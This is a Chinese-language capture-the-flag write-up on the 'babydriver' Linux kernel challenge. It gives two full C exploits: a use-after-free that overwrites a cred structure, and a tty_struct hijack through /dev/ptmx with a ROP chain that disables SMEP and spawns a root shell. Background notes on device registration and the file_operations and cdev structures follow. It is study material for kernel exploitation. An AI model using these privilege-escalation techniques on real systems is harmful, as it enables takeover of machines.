#include <sys/stat.h>

int main()
{
int device1 = open("/dev/babydev", 2);
int device2 = open("/dev/babydev", 2);

ioctl(device1, 0x10001, 0xa8);
close(device1);

int new_process_pid = fork();
if (new_process_pid < 0)
{
puts("[*] fork error");
exit(0);
}
else if (new_process_pid == 0)
{
char lots_zero[30] = {0};
write(device2, lots_zero, 28);

if (getuid() == 0)
{
puts("[*] got root");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(device2);
return 0;
}

思路2

同样是利用uaf

不过这次利用的是在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,与其他类型设备相同,tty 驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations

tty_struct的size是0x2e0

利用uaf我们可以劫持其中的tty_operations函数指针

那么在我们对这个设备进行相应操作(如 write、ioctl)时便会执行我们布置好的恶意函数指针。

由于没有开启 SMAP 保护,故我们可以在用户态进程的栈上布置 ROP 链与 fake tty_operations 结构体。

使用 gdb 进行调试,观察内核在调用我们的恶意函数指针时各寄存器的值,我们在这里选择劫持 tty_operaionts 结构体到用户态的栈上,并选择任意一条内核 gadget 作为 fake tty 函数指针以方便下断点:

这段调试可能有点难理解,即劫持tty_ops的函数表为内核上的任意可区分代码,这样我们在调试时可以在对应的位置下断点,以观察当前的上下文环境

我们不难观察到,在我们调用tty_operations->write时,其 rax 寄存器中存放的便是 tty_operations 结构体的地址,因此若是我们能够在内核中找到形如mov rsp, rax的 gadget,便能够成功地将栈迁移到tty_operations结构体的开头。

使用 ROPgadget 查找相关 gadget,发现有两条符合我们要求的 gadget:

image.png

gdb 调试,发现第一条 gadget 其实等价于mov rsp, rax ; dec ebx ; ret

image.png

那么利用这条 gadget 我们便可以很好地完成栈迁移的过程,执行我们所构造的 ROP 链。

tty_operations结构体开头到其 write 指针间的空间较小,直接在此处rop显然是行不通的(与write指针冲突),因此我们还需要进行二次栈迁移,这里随便选一条改 rax 的 gadget 即可:

image.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

//get the addr
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t rop[0x20], p = 0;
rop[p++] = POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = getRootPrivilige;
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = IRETQ_RET;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;

size_t fake_op[0x30];
for(int i = 0; i < 0x10; i++)
fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;

fake_op[0] = POP_RAX_RET;
fake_op[1] = rop;

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

ioctl(fd1, 0x10001, 0x2e0);
close(fd1);

size_t fake_tty[0x20];
int fd3 = open("/dev/ptmx", 2);
read(fd2, fake_tty, 0x40);//这一步为什么要read??因为下一步写的时候要从开头写,如果直接填充到ops的话,那么中间很多重要信息就被覆盖了,所以先将原本的信息读出来,等会填充的时候就用这个填充,保证开头到目标之间的内容不被改变
fake_tty[3] = fake_op;
write(fd2, fake_tty, 0x40);

write(fd3, buf, 0x8);

return 0;
}

顺带一提,本题覆盖cr4寄存器取消了smep保护,那么在获得了commint_creds和prepare_kernel_cred的地址后可以直接用户空间代码调用提权,最后着陆用户态spawn一个shell

延拓

/dev

在Linux系统中,/dev 目录是一个特殊的目录,它包含了设备文件(device files)。设备文件是用于访问系统硬件设备或与内核通信的一种方式。/dev 目录中的设备文件允许用户和应用程序通过文件I/O的方式与硬件设备进行交互,这种文件I/O操作被视为与设备的输入输出(I/O)交互。

这些设备文件包括以下几类

字符设备

字符设备是指每次与系统传输1个字符的设备。这些设备节点通常为传真,虚拟终端和串口调制解调器之类设备提供流通信服务,它通常不支持随机存取数据。

字符设备在实现时,大多不使用缓存器。系统直接从设备读取/写入每一个字符。

块设备

块设备是指与系统间用块的方式移动数据的设备。这些设备节点通常代表可寻址设备,如硬盘、CD-ROM和内存区域。

块设备通常支持随机存取和寻址,并使用缓存器。操作系统为输入输出分配了缓存以存储一块数据。当程序向设备发送了读取或者写入数据的请求时,系统把数据中的每一个字符存储在适当的缓存中。当缓存被填满时,会采取适当的操作(把数据传走),而后系统清空缓存。

伪设备

在类Unix操作系统中,设备节点并不一定要对应物理设备。没有这种对应关系的设备是伪设备。操作系统运用了它们提供的多种功能。部分经常使用到的伪设备包括:

  • /dev/null

    接受并丢弃所有输入;即不产生任何输出。

  • /dev/full

    永远在被填满状态的设备。

  • /dev/loop

    Loop设备

  • /dev/zero

    产生连续的NUL字符的流(数值为0)。

  • /dev/random

    产生一个虚假随机的任意长度字符流。(Blocking)

  • /dev/urandom

    产生一个虚假随机的任意长度字符流。(Non-Blocking)

dev_init

简易分析下babydriver中出现的dev模块注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl babydriver_init()
{
int v0; // edx
int v1; // ebx
class *v2; // rax
__int64 v3; // rax

if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
cdev_init(&cdev_0, &fops);
cdev_0.owner = &_this_module;
v1 = cdev_add(&cdev_0, babydev_no, 1LL);
if ( v1 >= 0 )
{
v2 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v2;
if ( v2 )
{
v3 = device_create(v2, 0LL, babydev_no, 0LL, "babydev");
v0 = 0;
if ( v3 )
return v0;
printk(&unk_351);
class_destroy(babydev_class);
}
else
{
printk(&unk_33B);
}
cdev_del(&cdev_0);
}
else
{
printk(&unk_327);
}
unregister_chrdev_region(babydev_no, 1LL);
return v1;
}
printk(&unk_309);
return 1;
}

alloc_chrdev_region

首先出现的是alloc_chrdev_region函数

1
2
3
4
5
6
7
8
9
10
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count,
const char *name)
{
struct char_device_struct *cd;
cd = __register_chrdev_region(0, baseminor, count, name);
if (IS_ERR(cd))
return PTR_ERR(cd);
*dev = MKDEV(cd->major, cd->baseminor);
return 0;
}

alloc_chrdev_region 是Linux内核中用于动态分配字符设备号的函数。在Linux系统中,字符设备是一种用于与字符设备驱动程序通信的设备类型,例如终端设备、串口设备等。每个字符设备都有一个唯一的设备号,该设备号由主设备号和次设备号组成。

参数说明:

  • dev:用于存储分配的设备号范围的变量(包括主设备号和起始的次设备号)。
  • baseminor:起始的次设备号。
  • count:要分配的设备号数量。
  • name:设备名称,用于在/proc/devices中标识设备。

对应的逆操作函数是unregister_chrdev_region

cdev_init

1
2
3
4
5
6
7
void cdev_init(struct cdev *cdev, const struct file_operations *fops)
{
memset(cdev, 0, sizeof *cdev);
INIT_LIST_HEAD(&cdev->list);
kobject_init(&cdev->kobj, &ktype_cdev_default);
cdev->ops = fops;
}

cdev_init 函数的作用是初始化字符设备结构体 cdev。在Linux内核编程中,cdev 结构体代表字符设备,并通过该结构体来向内核注册字符设备。

参数说明:

  • cdev:要初始化的字符设备结构体。
  • fops:与该字符设备关联的文件操作结构体,其中包含了指向驱动程序定义的处理函数的指针

cdev_add

cdev_add 函数是Linux内核中用于向内核注册字符设备的函数。在使用字符设备时,首先需要创建并初始化 struct cdev 结构体,然后通过 cdev_add 将其注册到内核中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int cdev_add(struct cdev *p, dev_t dev, unsigned count)
{
int error;

p->dev = dev;
p->count = count;

if (WARN_ON(dev == WHITEOUT_DEV)) {
error = -EBUSY;
goto err;
}

error = kobj_map(cdev_map, dev, count, NULL,
exact_match, exact_lock, p);
if (error)
goto err;

kobject_get(p->kobj.parent);

return 0;

err:
kfree_const(p->kobj.name);
p->kobj.name = NULL;
return error;
}

参数说明:

  • p:指向 struct cdev 结构体的指针,表示要注册的字符设备。
  • dev:字符设备的设备号,包括主设备号和次设备号。
  • count:设备的数量。通常为1,表示一个设备。

对应的逆操作函数是cdev_del

_class_create

_class_create 函数是Linux内核中的一个函数,用于创建一个设备类(struct class),并返回指向 struct class 结构体的指针。设备类是用于组织和管理设备的结构,它提供了一种将相关设备分组的机制,使得用户空间应用程序更容易识别和管理这些设备。

对应的逆操作函数是class_destroy

device_create

1
2
3
4
5
6
7
8
9
10
11
12
13
struct device *device_create(const struct class *class, struct device *parent,
dev_t devt, void *drvdata, const char *fmt, ...)
{
va_list vargs;
struct device *dev;

va_start(vargs, fmt);
dev = device_create_groups_vargs(class, parent, devt, drvdata, NULL,
fmt, vargs);
va_end(vargs);
return dev;
}
EXPORT_SYMBOL_GPL(device_create)

device_create 函数是 Linux 内核中用于创建字符设备节点(设备文件)的函数。这个函数通常与 class_create 配合使用,用于将字符设备注册到设备类并在 /dev 目录下创建相应的设备节点。

参数说明:

  • class:指向 struct class 结构体的指针,表示设备类。
  • parent:父设备的指针,可以是 NULL
  • devt:设备号,包括主设备号和次设备号。
  • drvdata:指向要关联到设备的私有数据的指针,通常为 NULL
  • fmt:用于创建设备节点的格式字符串。
  • ...:用于填充 fmt 字符串中的占位符。

device_create 的主要作用是创建一个字符设备节点,并将其注册到设备类中。通过这个函数,用户空间应用程序可以访问 /dev 目录下的设备节点,以与驱动程序通信。

对应的逆操作函数是device_destroy


看一下两个关键的结构体

file_operations

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
int (*iopoll)(struct kiocb *kiocb, struct io_comp_batch *,
unsigned int flags);
int (*iterate_shared) (struct file *, struct dir_context *);
__poll_t (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
unsigned long mmap_supported_flags;
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
void (*splice_eof)(struct file *file);
int (*setlease)(struct file *, int, struct file_lock **, void **);
long (*fallocate)(struct file *file, int mode, loff_t offset,
loff_t len);
void (*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
unsigned (*mmap_capabilities)(struct file *);
#endif
ssize_t (*copy_file_range)(struct file *, loff_t, struct file *,
loff_t, size_t, unsigned int);
loff_t (*remap_file_range)(struct file *file_in, loff_t pos_in,
struct file *file_out, loff_t pos_out,
loff_t len, unsigned int remap_flags);
int (*fadvise)(struct file *, loff_t, loff_t, int);
int (*uring_cmd)(struct io_uring_cmd *ioucmd, unsigned int issue_flags);
int (*uring_cmd_iopoll)(struct io_uring_cmd *, struct io_comp_batch *,
unsigned int poll_flags);
} __randomize_layout;

有点像proc_operations的plus版

cdev

cdev 结构体是 Linux 内核中用于表示字符设备的结构体。它包含了字符设备的一些重要信息和操作函数,用于向内核注册和管理字符设备。下面是 cdev 结构体的定义:

1
2
3
4
5
6
7
8
struct cdev {
struct kobject kobj;
struct module *owner;
const struct file_operations *ops;
struct list_head list;
dev_t dev;
unsigned int count;
} __randomize_layout;

cdev 结构体的主要成员包括:

  1. struct kobject kobj 用于实现内核对象,与 sysfs 文件系统相关,提供一种在用户空间访问设备信息的机制。
  2. struct module *owner 拥有该字符设备的内核模块。
  3. const struct file_operations *ops 与字符设备关联的文件操作结构体,包含了指向设备的操作函数指针,如 openreadwriterelease 等。
  4. struct list_head list 用于将 cdev 结构体链接到其他设备结构体的链表。
  5. dev_t dev 字符设备的设备号,包括主设备号和次设备号。
  6. unsigned int count 设备号的数量,通常为 1。

总结

内核pwn其实与用户态pwn并无太大的差异

就是通过编译执行二进制程序触发加载在内核中的模块存在的漏洞

想办法完成提权,然后再返回到用户态下getshell